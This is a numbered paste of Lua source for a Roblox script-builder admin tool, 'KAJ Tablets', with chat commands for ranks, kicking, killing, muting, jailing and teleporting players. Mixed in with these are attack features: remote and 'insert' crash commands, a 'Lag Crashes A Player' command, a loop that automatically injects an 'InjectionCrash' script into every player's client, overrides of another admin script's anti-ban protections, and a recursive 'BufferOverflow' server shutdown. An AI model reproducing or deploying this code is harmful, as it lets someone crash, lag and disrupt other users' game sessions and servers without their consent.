  1658. Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1659. Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1660. Ping("Set Rank", Speaker, nil, function()
  1661. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1662. Dismiss(Speaker)
  1663. for i = -2, 5 do
  1664. Ping(i, Speaker, nil, function()
  1665. ChangeRank(v, i)
  1666. Dismiss(Speaker)
  1667. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1668. end)
  1669. end
  1670. else
  1671. Ping("Your Rank Is Too Low", Speaker, 5)
  1672. end
  1673. end)
  1674. Ping("Crash (Remote)", Speaker, nil, function()
  1675. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1676. Crash2(v.Name)
  1677. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1678. end
  1679. end)
  1680. Ping("Crash (Insert)", Speaker, nil, function()
  1681. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1682. Crash3(v, Speaker)
  1683. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1684. end
  1685. end)
  1686. Ping("Kick", Speaker, nil, function()
  1687. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1688. v:Kick()
  1689. Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1690. end
  1691. end)
  1692. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1693. else
  1694. Ping(v.Name.." (Nil)", Speaker, nil, function()
  1695. Dismiss(Speaker)
  1696. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1697. ypcall(function()
  1698. Ping("Rank: "..FindRank(v.Name), Speaker)
  1699. end)
  1700. ypcall(function()
  1701. Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1702. end)
  1703. ypcall(function()
  1704. Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1705. end)
  1706. ypcall(function()
  1707. Ping("Set Rank", Speaker, nil, function()
  1708. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1709. Dismiss(Speaker)
  1710. for i = -2, 5 do
  1711. Ping(i, Speaker, nil, function()
  1712. ChangeRank(v, i)
  1713. Dismiss(Speaker)
  1714. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1715. end)
  1716. end
  1717. else
  1718. Ping("Your Rank Is Too Low", Speaker, 5)
  1719. end
  1720. end)
  1721. end)
  1722. ypcall(function()
  1723. Ping("Nil Crash (Remote)", Speaker, nil, function()
  1724. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1725. Crash2(v.Name)
  1726. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1727. end
  1728. end)
  1729. end)
  1730. ypcall(function()
  1731. Ping("Nil Crash (Insert)", Speaker, nil, function()
  1732. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1733. Crash3(v, Speaker)
  1734. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1735. end
  1736. end)
  1737. end)
  1738. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1739. end
  1740. end
  1741. end)
  1742. end
  1743.  
  1744. --Misc
  1745.  
  1746. coroutine.resume(coroutine.create(function()
  1747. PlaceAllRanks()
  1748. end))
  1749.  
  1750. Delay(0, function()
  1751. for _,v in pairs(All()) do
  1752. v.Chatted:connect(function(Msg)
  1753. onChatted(Msg, v)
  1754. end)
  1755. end
  1756. end)
  1757.  
  1758. local starttime = tick()
  1759.  
  1760. game:GetService("RunService").Heartbeat:connect(function()
  1761. if Removed == false then
  1762. ypcall(function()
  1763. for _,Player in pairs(All()) do
  1764. local PlayerTablets = {}
  1765. for i,v in pairs(AllTabs) do
  1766. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1767. table.insert(PlayerTablets, v)
  1768. end
  1769. end
  1770. for i = 1, #PlayerTablets do
  1771. ypcall(function()
  1772. local tab = PlayerTablets[i].Tab
  1773. local pos = nil
  1774. ypcall(function()
  1775. pos = Player.Character.Torso.CFrame
  1776. end)
  1777. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1778. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1779. local cPos = tab.Position
  1780. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1781. local nPos = (ePos-cPos)*.25
  1782. cPos = cPos + nPos
  1783. local t = (tick() - starttime) % 360
  1784. local change = 0.625
  1785. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1786. tab.Size = Vector3.new(PlayerTablets[i].Size * 1.2, PlayerTablets[i].Size * 1.2,PlayerTablets[i].Size * 1.2)
  1787. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1788. end)
  1789. end
  1790. end
  1791. end)
  1792. end
  1793. end)
  1794.  
  1795. Delay(0, function()
  1796. while wait() do
  1797. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1798. ypcall(function()
  1799. if Injected[v.Name] == nil and LS ~= nil then
  1800. Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1801. Injected[v.Name] = true
  1802. end
  1803. end)
  1804. end
  1805. end
  1806. end)
  1807.  
  1808. Plrs.PlayerAdded:connect(function(Plr)
  1809. wait(.1)
  1810. ypcall(function()
  1811. if Removed == false then
  1812. local JoinPlrName = Plr.Name
  1813. coroutine.resume(coroutine.create(function()
  1814. PlaceSpecificRank(Plr)
  1815. end))
  1816. coroutine.resume(coroutine.create(function()
  1817. if Injected[JoinPlrName] ~= nil then
  1818. Injected[JoinPlrName] = nil
  1819. end
  1820. end))
  1821. coroutine.resume(coroutine.create(function()
  1822. Dismiss(Plr)
  1823. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1824. end))
  1825. end
  1826. end)
  1827. end)
  1828.  
  1829. Plrs.PlayerRemoving:connect(function(Plr)
  1830. wait(.1)
  1831. ypcall(function()
  1832. if Removed == false then
  1833. local LeftPlrName = Plr.Name
  1834. coroutine.resume(coroutine.create(function()
  1835. if Injected[LeftPlrName] ~= nil then
  1836. Injected[LeftPlrName] = nil
  1837. end
  1838. end))
  1839. end
  1840. end)
  1841. end)
  1842.  
  1843. coroutine.resume(coroutine.create(function()
  1844. Delay(0, function()
  1845. while FoundLocalScript == false do wait()
  1846. ypcall(function()
  1847. for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1848. if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1849. for _,c in pairs(v:children()) do
  1850. if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1851. local NewVal = c:Clone()
  1852. NewVal.Name = "LoadingVal"
  1853. for _,s in pairs(v:GetChildren()) do
  1854. if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1855. print("Found Owner")
  1856. OwnSource = s.Name
  1857. print(OwnSource)
  1858. break
  1859. end
  1860. end
  1861. wait()
  1862. LS = v:Clone()
  1863. NewVal.Parent = LS
  1864. LSSource = "LoadingVal"
  1865. FoundLocalScript = true
  1866. break
  1867. end
  1868. end
  1869. end
  1870. end
  1871. end)
  1872. end
  1873. end)
  1874. end))
  1875.  
  1876. --Commands
  1877.  
  1878. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1879. Dismiss(Speaker.Name)
  1880. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1881. Ping("Every Single Command", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1882. Ping("Rank Zero", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1883. Ping("Rank One", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1884. Ping("Rank Two", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1885. Ping("Rank Three", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1886. Ping("Rank Four", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1887. Ping("Rank Five", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1888.  
  1889. end)
  1890.  
  1891. Command("Dt", nil, "Dismiss Tablets", function(Msg, Speaker)
  1892. Dismiss(Speaker.Name)
  1893. end)
  1894.  
  1895. Command("Kill", 2, "Kills A Player",
  1896. function(Msg, Speaker)
  1897. local PlrTab = getPlayer(Speaker, Msg)
  1898. if #PlrTab > 0 then
  1899. for _,v in pairs(PlrTab) do
  1900. ypcall(function()
  1901. v.Character:BreakJoints()
  1902. Ping("Killed "..v.Name, Speaker, 5)
  1903. end)
  1904. end
  1905. end
  1906. end)
  1907.  
  1908. Command("expl", 2, "Explodes A Player",
  1909. function(Msg, Speaker)
  1910. local PlrTab = getPlayer(Speaker, Msg)
  1911. if #PlrTab > 0 then
  1912. for _,v in pairs(PlrTab) do
  1913. ypcall(function()
  1914. if v.Character and v.Character:findFirstChild("Head") then
  1915. local e = Instance.new("Explosion")
  1916. e.Position = v.Character.Head.Position
  1917. e.Parent = v.Character
  1918. Ping("Exploded "..v.Name, Speaker, 5)
  1919. end
  1920. end)
  1921. end
  1922. end
  1923. end)
  1924.  
  1925.  
  1926. Command("Dall", 4, "Dismiss everyones tabs", function(Msg, Speaker)
  1927. Dismiss()
  1928. end)
  1929.  
  1930. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1931. local PlrTab = getPlayer(Speaker, Msg)
  1932. if #PlrTab > 0 then
  1933. for _,v in pairs(PlrTab) do
  1934. ypcall(function()
  1935. if v.Name ~= Owner then
  1936. Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1937. Ping("Muted "..v.Name, Speaker, 5)
  1938. end
  1939. end)
  1940. end
  1941. end
  1942. end)
  1943.  
  1944.  
  1945.  
  1946. Command("PTroll", 3, "Troll a player", function(Msg, Speaker)
  1947. local PlrTab = getPlayer(Speaker, Msg)
  1948. if #PlrTab > 0 then
  1949. for _,v in pairs(PlrTab) do
  1950. ypcall(function()
  1951. Insert(FunScript, v.Backpack, v.Character, v.PlayerGui)
  1952.  
  1953. end)
  1954. end
  1955. end
  1956. end)
  1957.  
  1958. Command("Connect", 3, "Connect for nil", function(Msg, Speaker)
  1959. local PlrTab = getPlayer(Speaker, Msg)
  1960. if #PlrTab > 0 then
  1961. for _,v in pairs(PlrTab) do
  1962. ypcall(function()
  1963. Insert(NilS, v.Backpack, v.Character, v.PlayerGui)
  1964.  
  1965. end)
  1966. end
  1967. end
  1968. end)
  1969. Command("Cred", nil, "Shows the credits of who made", function(Msg, Speaker)
  1970. Dismiss()
  1971. for i = 1, 2 do
  1972. Ping("Kaj Tablets are actually DVF made by flipflop8421, I just edited them,so like 98% credit to flipflop8421 qq", Speaker)
  1973. end end)
  1974. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1975. local PlrTab = getPlayer(Speaker, Msg)
  1976. if #PlrTab > 0 then
  1977. for _,v in pairs(PlrTab) do
  1978. ypcall(function()
  1979. Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1980. Ping("Rejoined "..v.Name, Speaker, 5)
  1981. end)
  1982. end
  1983. end
  1984. end)
  1985.  
  1986. Command("Jail", 3, "Jails A Player", function(Msg, Speaker)
  1987. local PlrTab = getPlayer(Speaker, Msg)
  1988. if #PlrTab > 0 then
  1989. for _,v in pairs(PlrTab) do
  1990. ypcall(function()
  1991. Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1992. Ping("Jailed "..v.Name, Speaker, 5)
  1993. end)
  1994. end
  1995. end
  1996. end)
  1997.  
  1998. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1999. local PlrTab = getPlayer(Speaker, Msg)
  2000. if #PlrTab > 0 then
  2001. for _,v in pairs(PlrTab) do
  2002. ypcall(function()
  2003. Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  2004. Ping("Lag Crashing "..v.Name, Speaker, 5)
  2005. end)
  2006. end
  2007. end
  2008. end)
  2009.  
  2010. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  2011. local PlrTab = getPlayer(Speaker, Msg)
  2012. if #PlrTab > 0 then
  2013. for _,v in pairs(PlrTab) do
  2014. ypcall(function()
  2015. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  2016. Ping("UnMuted "..v.Name, Speaker, 5)
  2017. end)
  2018. end
  2019. end
  2020. end)
  2021.  
  2022. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  2023. local Worked = false
  2024. for _,v in pairs(Work:GetChildren()) do
  2025. if string.find(v.Name:lower(), Msg:lower()) then
  2026. if v:IsA("Script") or v:IsA("LocalScript") then
  2027. v.Disabled = true
  2028. v:Destroy()
  2029. Worked = true
  2030. Ping("Disabled Script: "..v.Name, Speaker, 5)
  2031. end
  2032. end
  2033. end
  2034. if Worked == false then
  2035. Ping("Script Not Found", Speaker, 5)
  2036. end
  2037. end)
  2038.  
  2039. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  2040. Dismiss(Speaker)
  2041. local AllScripts = {}
  2042. for _,v in pairs(Work:GetChildren()) do
  2043. if v:IsA("Script") then
  2044. table.insert(AllScripts, v.Name)
  2045. end
  2046. end
  2047. if #AllScripts > 0 then
  2048. for _,v in pairs(AllScripts) do
  2049. Ping(v, Speaker)
  2050. end
  2051. else
  2052. Ping("No Scripts Found", Speaker, 5)
  2053. end
  2054. end)
  2055.  
  2056. Command("afk",0,'Makes you go AFK',
  2057. function(Msg,Speaker)
  2058. Dismiss(Speaker)
  2059. for i = 1,8 do
  2060. Ping('AFK',Speaker)
  2061. wait(.01)
  2062. end
  2063. end)
  2064. Command("back",0,'Creates Tablets telling everyone that you are back',
  2065. function(Msg,Speaker)
  2066. Dismiss(Speaker)
  2067. for i = 1,8 do
  2068. Ping('Welcome Back!',Speaker,6)
  2069. wait(.1)
  2070. end
  2071. end)
  2072.  
  2073.  
  2074.  
  2075.  
  2076. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  2077. Dismiss(Speaker)
  2078. local LocalScripts = {}
  2079. for _,v in pairs(All()) do
  2080. ypcall(function()
  2081. for _,x in pairs(v.Character:GetChildren()) do
  2082. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  2083. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  2084. end
  2085. end
  2086. end)
  2087. ypcall(function()
  2088. for _,x in pairs(v.Backpack:GetChildren()) do
  2089. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  2090. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  2091. end
  2092. end
  2093. end)
  2094. ypcall(function()
  2095. for _,x in pairs(v.PlayerGui:GetChildren()) do
  2096. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  2097. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  2098. end
  2099. end
  2100. end)
  2101. end
  2102. if #LocalScripts > 0 then
  2103. for _,v in pairs(LocalScripts) do
  2104. Ping(v, Speaker)
  2105. end
  2106. else
  2107. Ping("No Local Scripts Found", Speaker, 5)
  2108. end
  2109. end)
  2110.  
  2111. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  2112. local Split = GetSplit(Msg)
  2113. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2114. local ScriptName = Msg:sub(Split + 1)
  2115. local FoundLocal = false
  2116. for _,name in pairs(PlrTab) do
  2117. ypcall(function()
  2118. for _,v in pairs(name.Character:GetChildren()) do
  2119. if string.find(v.Name:lower(), ScriptName) then
  2120. if v:IsA("Script") or v:IsA("LocalScript") then
  2121. v.Disabled = true
  2122. v:Destroy()
  2123. FoundLocal = true
  2124. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  2125. end
  2126. end
  2127. end
  2128. end)
  2129. ypcall(function()
  2130. for _,v in pairs(name.Backpack:GetChildren()) do
  2131. if string.find(v.Name:lower(), ScriptName) then
  2132. if v:IsA("Script") or v:IsA("LocalScript") then
  2133. v.Disabled = true
  2134. v:Destroy()
  2135. FoundLocal = true
  2136. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  2137. end
  2138. end
  2139. end
  2140. end)
  2141. ypcall(function()
  2142. for _,v in pairs(name.PlayerGui:GetChildren()) do
  2143. if string.find(v.Name:lower(), ScriptName) then
  2144. if v:IsA("Script") or v:IsA("LocalScript") then
  2145. v.Disabled = true
  2146. v:Destroy()
  2147. FoundLocal = true
  2148. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  2149. end
  2150. end
  2151. end
  2152. end)
  2153. if FoundLocal == false then
  2154. Ping("Local Script Not Found", Speaker, 5)
  2155. end
  2156. end
  2157. end)
  2158.  
  2159. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  2160. for _,v in pairs(game:GetChildren()) do
  2161. ypcall(function()
  2162. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  2163. for _,a in pairs(v:GetChildren()) do
  2164. ypcall(function()
  2165. a:Destroy()
  2166. end)
  2167. end
  2168. elseif v.Name == "Players" then
  2169. for _,plr in pairs(v:GetPlayers()) do
  2170. Clear(plr)
  2171. end
  2172. end
  2173. end)
  2174. end
  2175. Clean()
  2176. Fixl()
  2177. Ping("Fully Cleaned", Speaker, 5)
  2178. end)
  2179.  
  2180. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  2181. LClean()
  2182. Fixl()
  2183. Ping("Lightly Cleaned", Speaker, 5)
  2184. end)
  2185.  
  2186. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  2187. local PlrTab = getPlayer(Speaker, Msg)
  2188. if #PlrTab > 0 then
  2189. for _,v in pairs(PlrTab) do
  2190. ypcall(function()
  2191. v:LoadCharacter()
  2192. Ping("Reset "..v.Name, Speaker, 5)
  2193. end)
  2194. end
  2195. end
  2196. end)
  2197.  
  2198. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  2199. repeat wait() until Speaker.Character:findFirstChild("Torso")
  2200. if Work:findFirstChild("Base") then
  2201. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  2202. else
  2203. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  2204. end
  2205. Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  2206. end)
  2207.  
  2208. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  2209. local PlrTab = getPlayer(Speaker, Msg)
  2210. if #PlrTab > 0 then
  2211. for _,v in pairs(PlrTab) do
  2212. ypcall(function()
  2213. v.Character.Torso.Anchored = true
  2214. Ping("Froze "..v.Name, Speaker, 5)
  2215. end)
  2216. end
  2217. end
  2218. end)
  2219.  
  2220. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  2221. wait(3)
  2222. Ping("Something went wrong",Speaker,5)
  2223. end)
  2224.  
  2225. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  2226. local PlrTab = getPlayer(Speaker, Msg)
  2227. if #PlrTab > 0 then
  2228. for _,v in pairs(PlrTab) do
  2229. ypcall(function()
  2230. Instance.new("ForceField", v.Character)
  2231. end)
  2232. end
  2233. end
  2234. end)
  2235.  
  2236. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  2237. local PlrTab = getPlayer(Speaker, Msg)
  2238. if #PlrTab > 0 then
  2239. for _,v in pairs(PlrTab) do
  2240. ypcall(function()
  2241. RemObj(v.Character, "ForceField")
  2242. end)
  2243. end
  2244. end
  2245. end)
  2246.  
  2247. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  2248. local Split = GetSplit(Msg)
  2249. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2250. local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  2251. if #PlrTab > 0 and #PlrTab2 > 0 then
  2252. for i,v in pairs(PlrTab) do
  2253. ypcall(function()
  2254. for _,v2 in pairs(PlrTab2) do
  2255. ypcall(function()
  2256. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  2257. Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  2258. end)
  2259. end
  2260. end)
  2261. end
  2262. end
  2263. end)
  2264.  
  2265. Command("Msg",2, "Creates a Message",
  2266. function(Msg,Speaker)
  2267. Message(Msg)
  2268. end)
  2269.  
  2270. Command("H",2, "Creates a Hint",
  2271. function(Msg,Speaker)
  2272. Hint(Msg)
  2273. end)
  2274.  
  2275. Command("Sm",2, "Creates a System message",
  2276. function(Msg,Speaker)
  2277. SystemMsg(Msg)
  2278. end)
  2279.  
  2280. function Message(str,p)
  2281. if p==nil then
  2282. for _,Player in pairs(game.Players:GetPlayers()) do
  2283. coroutine.wrap(function()
  2284. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2285. local Text = Instance.new("TextLabel", Msg)
  2286. Text.Position = UDim2.new(0, 0, 0.7, 0)
  2287. Text.Font=2
  2288. Text.FontSize=9
  2289. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2290. Text.BackgroundTransparency = 0.4
  2291. Text.TextColor3 = Color3.new(1, 1, 1)
  2292. Text.TextTransparency = 1
  2293. Text.TextWrap = true
  2294. Text.Text = tostring(str)
  2295. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  2296. Text.TextTransparency = 0
  2297. Num = #str * 0.06
  2298. wait(3)
  2299. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2300. wait(Num)
  2301. Msg:Remove()
  2302. end)()
  2303. end
  2304. else
  2305. Player=p;
  2306. coroutine.wrap(function()
  2307. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2308. local Text = Instance.new("TextLabel", Msg)
  2309. Text.Position = UDim2.new(0, 0, 0.7, 0)
  2310. Text.Font=2
  2311. Text.FontSize=9
  2312. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2313. Text.BackgroundTransparency = 0.1
  2314. Text.TextColor3 = Color3.new(1, 1, 1)
  2315. Text.TextTransparency = 1
  2316. Text.TextWrap = true
  2317. Text.Text = tostring(str)
  2318. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  2319. Text.TextTransparency = 0
  2320. Num = #str * 0.06
  2321. wait(3)
  2322. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2323. wait(Num)
  2324. Msg:Remove()
  2325. end)()
  2326. end
  2327. end
  2328. function SystemMsg(str)
  2329. for _,Player in pairs(game.Players:GetPlayers()) do
  2330. coroutine.wrap(function()
  2331. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2332. local Text = Instance.new("TextLabel", Msg)
  2333. Text.Position = UDim2.new(0, 0, 0, 0)
  2334. Text.Font='Legacy'
  2335. Text.FontSize = "Size48"
  2336. Text.BackgroundColor3 = Color3.new(-1,-1,-1)
  2337. Text.BackgroundTransparency = 0.4
  2338. Text.TextColor3 = Color3.new(1,1,1)
  2339. Text.TextTransparency = 0
  2340. Text.TextWrap = true
  2341. Text.Text = ' [ System ] \n ' .. tostring(str)
  2342. Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
  2343. Text.TextTransparency = 0.1
  2344. Num = #str * 0.06
  2345. wait(6)
  2346. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2347. wait(Num)
  2348. Msg:Remove()
  2349. end)()
  2350. end
  2351. end
  2352. function Hint(str,p)
  2353. if p == nil then
  2354. for _,Player in pairs(game.Players:GetPlayers()) do
  2355. coroutine.wrap(function()
  2356. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2357. local Text = Instance.new("TextLabel", Msg)
  2358. Text.Position = UDim2.new(0, 0, 0, 0)
  2359. Text.Font=2
  2360. Text.FontSize=9
  2361. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2362. Text.BackgroundTransparency = 0.4
  2363. Text.TextColor3 = Color3.new(1, 1, 1)
  2364. Text.TextTransparency = 1
  2365. Text.TextWrap = true
  2366. Text.Text = tostring(str)
  2367. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  2368. Text.TextTransparency = 0
  2369. Num = #str * 0.06
  2370. wait(3)
  2371. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2372. wait(Num)
  2373. Msg:Remove()
  2374. end)()
  2375. end
  2376. else
  2377. Player=p
  2378. coroutine.wrap(function()
  2379. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2380. local Text = Instance.new("TextLabel", Msg)
  2381. Text.Position = UDim2.new(0, 0, 0, 0)
  2382. Text.Font=2
  2383. Text.FontSize=9
  2384. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2385. Text.BackgroundTransparency = 0.1
  2386. Text.TextColor3 = Color3.new(1, 1, 1)
  2387. Text.TextTransparency = 1
  2388. Text.TextWrap = true
  2389. Text.Text = tostring(str)
  2390. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  2391. Text.TextTransparency = 0
  2392. Num = #str * 0.06
  2393. wait(3)
  2394. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2395. wait(Num)
  2396. Msg:Remove()
  2397. end)()
  2398. end
  2399. end
  2400.  
  2401. Command("Explore", 3, "Opens An Object Explorer", function(Msg, Speaker)
  2402. MakeExplorer(Speaker)
  2403. end)
  2404.  
  2405.  
  2406. Command("Sinfo", 0, "Show the Script info", function(Msg, Speaker)
  2407. wait()
  2408. Dismiss(Speaker)
  2409. NumBanned = 0
  2410. NumCmds = 0
  2411. for i = 1, #Rankings do
  2412. if Rankings[i].Rank < 0 then
  2413. NumBanned = NumBanned + 1
  2414. end
  2415. end
  2416. for i,v in pairs(Commands) do
  2417. NumCmds = NumCmds + 1
  2418. end
  2419. Ping("KAJ Tablets!", Speaker)
  2420. Ping("Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("4611tlaboC"))
  2421. Ping("Second Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("21wopih"))
  2422. Ping("I started this on 6/9/2014", Speaker)
  2423.  
  2424. Ping(#All2.." players online in the server",Speaker)
  2425. Ping(NumCmds.." Commands",Speaker)
  2426. Ping(NumBanned.." players banned", Speaker,5)
  2427.  
  2428. end)
  2429.  
  2430. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  2431. Dismiss(Speaker)
  2432. for i,v in pairs(All()) do
  2433. Ping(v.Name.."'s Rank: "..FindRank(v))
  2434. end
  2435. end)
  2436.  
  2437. Command("Speed", 2, "Change speed of a player", function(Msg, Speaker)
  2438. local Split = GetSplit(Msg)
  2439. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2440. local Speed = tonumber(Msg:sub(Split + 1))
  2441. for _,v in pairs(PlrTab) do
  2442. ypcall(function()
  2443. v.Character.Humanoid.WalkSpeed = Speed
  2444. Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  2445. end)
  2446. end
  2447. end)
  2448.  
  2449. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  2450. local RemoveAB = Instance.new("StringValue")
  2451. RemoveAB.Name = "CBA Attachment"
  2452. RemoveAB.Value = [[CBA.override=true;]]
  2453. RemoveAB.Parent = Work
  2454. Ping("Removed All CBA Anti-Bans", Speaker, 5)
  2455. end)
  2456.  
  2457. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  2458. Dismiss(Speaker)
  2459. for i,v in pairs(Injected) do
  2460. Ping(i, Speaker)
  2461. end
  2462. end)
  2463.  
  2464. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  2465. local RemoveCBA = Instance.new("StringValue")
  2466. RemoveCBA.Name = "CBA Attachment"
  2467. RemoveCBA.Value = [[CBA.remove = false]]
  2468. RemoveCBA.Parent = Work
  2469. Ping("Removed All CBA Admins", Speaker, 5)
  2470. end)
  2471.  
  2472. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  2473. local function BufferOverflow(object)
  2474. object.DescendantAdded:connect(BufferOverflow)
